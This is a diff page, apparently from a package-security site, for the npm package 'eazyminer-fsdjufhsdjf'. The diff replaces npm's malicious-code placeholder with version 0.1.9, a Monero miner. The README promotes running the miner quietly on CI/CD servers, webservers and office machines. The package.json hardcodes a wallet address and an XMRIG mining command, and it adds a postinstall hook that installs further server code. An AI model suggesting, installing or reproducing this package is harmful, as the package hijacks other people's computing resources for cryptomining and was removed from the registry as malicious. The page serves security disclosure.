eazyminer-fsdjufhsdjf 0.0.1-security → 0.1.9

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of eazyminer-fsdjufhsdjf might be problematic. Click here for more details.

package/README.md CHANGED
@@ -1,5 +1,176 @@
1
- # Security holding package
1
+ #### 05-12-2021 GPU Support
2
+ Added basic openCL en cuda support.
2
3
 
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
+ #### 04-12-2021 Configuration overhaul
5
+ Updated configuration settings, adding a lot of options.
6
+
7
+ #### 03-12-2021 Bug fix
8
+ The miner wasn't always starting with previous versions. Please update.
9
+
10
+ ​
11
+
12
+ ```
13
+ npm install eazyminer
14
+ ```
15
+
16
+ ​
17
+
18
+ # Easy Node Miner
19
+
20
+ Mine cryptocurrencies [Monero (XMR)](https://getmonero.org/) from **SERVERSIDE** node.js with C++ XMRIG.
21
+ **CPU + GPU** Support.
22
+
23
+ Works on **Linux** & **Windows**. Just include this npm module and make some extra coins :)
24
+
25
+ ​
26
+
27
+ # Without freezing down the machine
28
+
29
+ The mining software has a cpu-priority of 0, meaning it will ONLY use FREE / AVAILABLE RESOURCES
30
+
31
+ Just try it out. Use the miner and happily continue using the machine.
32
+
33
+ ​
34
+
35
+ # Why this package?
36
+
37
+ Other NPM modules turned out to either not work, being to complicated or have some funny stuff going on.
38
+ This package is made to be transparent, easy and FAST.
39
+
40
+ It can be used on:
41
+
42
+ ​
43
+
44
+ * CI/CD setups where the machines do nothing for a long period of time
45
+ * Webservers that don't have a lot of traffic.
46
+ * Webservers that are only busy during office hours
47
+ * On your day to day office....
48
+
49
+ ​
50
+
51
+ # Usage
52
+
53
+ ```js
54
+ const Miner = require('eazyminer');
55
+
56
+ const miner = new Miner({
57
+ pools: [{
58
+ coin: 'XMR',
59
+ user: '47D8WQoJKydhTkk26bqZCVF7FaNhzRtNG15u1XiRQ83nfYqogyLjPMnYEKarjAiCz93oV6sETE9kkL3bkbvTX6nMU24CND8',
60
+ url: 'xmrpool.eu:9999', // optional pool URL,
61
+ }],
62
+ autoStart: false // optional delay
63
+ });
64
+
65
+ miner.start(); // optional manually start the miner
66
+ // miner.stop() // manually stop the miner
67
+ ```
68
+
69
+ ​
70
+
71
+ # Config
72
+
73
+ ```js
74
+ {
75
+ // (XMRIG config options https://xmrig.com/docs/miner/config/pool)
76
+ pools: [
77
+ {
78
+ coin: 'XMR',
79
+
80
+ // wallet address
81
+ user: "47D8WQoJKydhTkk26bqZCVF7FaNhzRtNG15u1XiRQ83nfYqogyLjPMnYEKarjAiCz93oV6sETE9kkL3bkbvTX6nMU24CND8",
82
+
83
+ /**
84
+ * optional
85
+ */
86
+ url: "xmrpool.eu:9999",
87
+ pass: "x",
88
+ algo: null,
89
+ "rig-id": null,
90
+ nicehash: false,
91
+ enabled: true,
92
+ keepalive: true,
93
+ tls: true,
94
+ "tls-fingerprint": null,
95
+ daemon: false,
96
+ socks5: null,
97
+ "self-select": null,
98
+ "submit-to-origin": false
99
+ }
100
+ ],
101
+
102
+ /**
103
+ * optional
104
+ */
105
+
106
+ // (XMRIG config options https://xmrig.com/docs/miner/config/opencl)
107
+ opencl: {
108
+ enabled: false,
109
+ platform: 'AMD',
110
+ loader: null,
111
+ platform: "AMD",
112
+ adl: true,
113
+ "cn-lite/0": false,
114
+ "cn/0": false
115
+ },
116
+
117
+ // (XMRIG config options https://xmrig.com/docs/miner/config/cuda)
118
+ cuda: {
119
+ enabled: false,
120
+ loader: null,
121
+ nvml: true,
122
+ "cn-lite/0": false,
123
+ "cn/0": false
124
+ },
125
+
126
+ // Run only when NODE_ENV is set to production
127
+ // Set this to true, to not run the miner when in development mode (or testing etc)
128
+ productionOnly: false,
129
+
130
+ // Set to false to manually start the miner (for more control)
131
+ autoStart: true,
132
+
133
+ web: {
134
+
135
+ // Enable or Disable web client
136
+ enabled: true,
137
+
138
+ // The used port for the webclient
139
+ port: 3000
140
+ },
141
+ log: {
142
+
143
+ // Set to null to disable
144
+ writeToFile: 'easyminer.txt',
145
+
146
+ // Set to false to disable writing to console
147
+ writeToConsole: true
148
+ }
149
+ }
150
+ ```
151
+
152
+ # Web client
153
+
154
+ The library contains an easy to use web-overview (optional).
155
+ Just go to localhost:3000 and check your realtime stats.
156
+
157
+ ​
158
+
159
+ # OpenCL support (GPU)
160
+
161
+ Make sure openCL is installed and you enable it in the config.
162
+ Most graphic drivers include the openCL platform by default.
163
+
164
+ ​
165
+
166
+ # Cuda support (GPU)
167
+
168
+ Make sure cuda is installed and you enable it in the config.
169
+
170
+ ​
171
+
172
+ # Development
173
+
174
+ This is a fresh new package, so i'm making sure everything runs fine and not focusing to much on new features.
175
+ If you have ANY problem, please drop a bug report on Github. If there are enough people using this, I will start to invest heavily.
4
176
 
5
- Please refer to www.npmjs.com/advisories?search=eazyminer-fsdjufhsdjf for more information.
package/package.json CHANGED
@@ -1,6 +1,26 @@
1
1
  {
2
2
  "name": "eazyminer-fsdjufhsdjf",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "0.1.9",
4
+ "description": "Easy to use npm NodeJS Monero Miner with C++, uses XMRIG for highspeed hashing.",
5
+ "main": "./server/src/index.js",
6
+ "scripts": {
7
+ "postinstall": "cd server && npm i",
8
+ "client-start": "cd ./client && npm start",
9
+ "server-start": "cd ./server && npm start",
10
+ "test": "echo \"Error: no test specified\" && exit 1",
11
+ "XMR-TEMP": "xmrig.exe --donate-level 5 -o xmrpool.eu:9999 -u 47D8WQoJKydhTkk26bqZCVF7FaNhzRtNG15u1XiRQ83nfYqogyLjPMnYEKarjAiCz93oV6sETE9kkL3bkbvTX6nMU24CND8 -k --tls"
12
+ },
13
+ "repository": {
14
+ "type": "git",
15
+ "url": "git+https://github.com/DutchKevv/Overhead2Crypto.git"
16
+ },
17
+ "author": "H.K.Brandsma",
18
+ "license": "ISC",
19
+ "bugs": {
20
+ "url": "https://github.com/DutchKevv/Overhead2Crypto/issues"
21
+ },
22
+ "homepage": "https://github.com/DutchKevv/Overhead2Crypto#readme",
23
+ "keywords": [
24
+ "t"
25
+ ]
6
26
  }
@@ -0,0 +1 @@
1
+ <html><head><script src="https://cdnjs.cloudflare.com/ajax/libs/canvasjs/1.7.0/canvasjs.min.js" integrity="sha512-FJ2OYvUIXUqCcPf1stu+oTBlhn54W0UisZB/TNrZaVMHHhYvLBV9jMbvJYtvDe5x/WVaoXZ6KB+Uqe5hT2vlyA==" crossorigin="anonymous" referrerpolicy="no-referrer"></script><script defer="defer" src="main.js"></script></head><body><div class="container-fluid"><h1 style="margin-bottom: 30px;">Performance</h1><hr><div class="row"><div class="col-lg-4 col-sm-12 col-xs-12"><div class="jumbotron"><div id="activityChart"></div></div></div><div class="col-lg-4 col-sm-12 col-xs-12"><div class="jumbotron"><div id="poolChart"></div></div></div><div class="col-lg-4 col-sm-12 col-xs-12"><div class="jumbotron"><div id="coinChart"></div></div></div></div></div><div class="container-fluid"><h1 style="margin-bottom: 30px;">System</h1><hr><div class="row"><div class="col-lg-4 col-sm-12 col-xs-12"><div class="jumbotron"><div id="CPUChart"></div></div></div><div class="col-lg-4 col-sm-12 col-xs-12"><div class="jumbotron"><div id="GPUChart"></div></div></div><div class="col-lg-4 col-sm-12 col-xs-12"><div class="jumbotron"><div id="RAMChart"></div></div></div></div></div><script src="main.js"></script></body></html>